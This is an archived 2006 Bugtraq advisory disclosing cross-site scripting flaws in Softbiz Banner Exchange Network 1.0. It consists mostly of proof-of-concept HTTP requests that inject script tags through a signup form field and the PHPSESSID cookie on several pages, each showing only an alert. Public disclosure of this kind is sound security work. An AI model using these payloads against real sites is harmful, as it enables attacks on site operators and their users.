| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: 29 Jun 2006 15:20:20 -0000 From: securityconnection@...il.com To: bugtraq@...urityfocus.com Subject: Softbiz Banner Exchange 1.0 XSS Softbiz Banner Exchange Network 1.0 http://softbizscripts.com -------------------------- Cross Site Scripting (XSS) -------------------------- POST http://target.xx:80/insertmember.php HTTP/1.0 Accept: */* Content-Type: application/x-www-form-urlencoded Host: target.xx Content-Length: 152 uname=1&add=1&city="><script>alert(/Ellipsis+Security+Test/)</script>&state=1&country=0&url=http%3A%2F%2F&email=1&pwd=1&pwd2=1&submit=Signup --- GET http://target.xx:80/lostpassword.php HTTP/1.0 Accept: */* Host: target.xx Cookie: PHPSESSID="><script>alert(/Ellipsis+Security+Test/)</script> --- GET http://target.xx:80/gen_confirm_mem.php HTTP/1.0 Accept: */* Host: target.xx Cookie: PHPSESSID="><script>alert(/Ellipsis+Security+Test/)</script> --- GET http://target.xx:80/index.php HTTP/1.0 Accept: */* Host: target.xx Cookie: PHPSESSID="><script>alert(/Ellipsis+Security+Test/)</script> ----------------- Ellipsis Security http://ellsec.org
Powered by blists - more mailing lists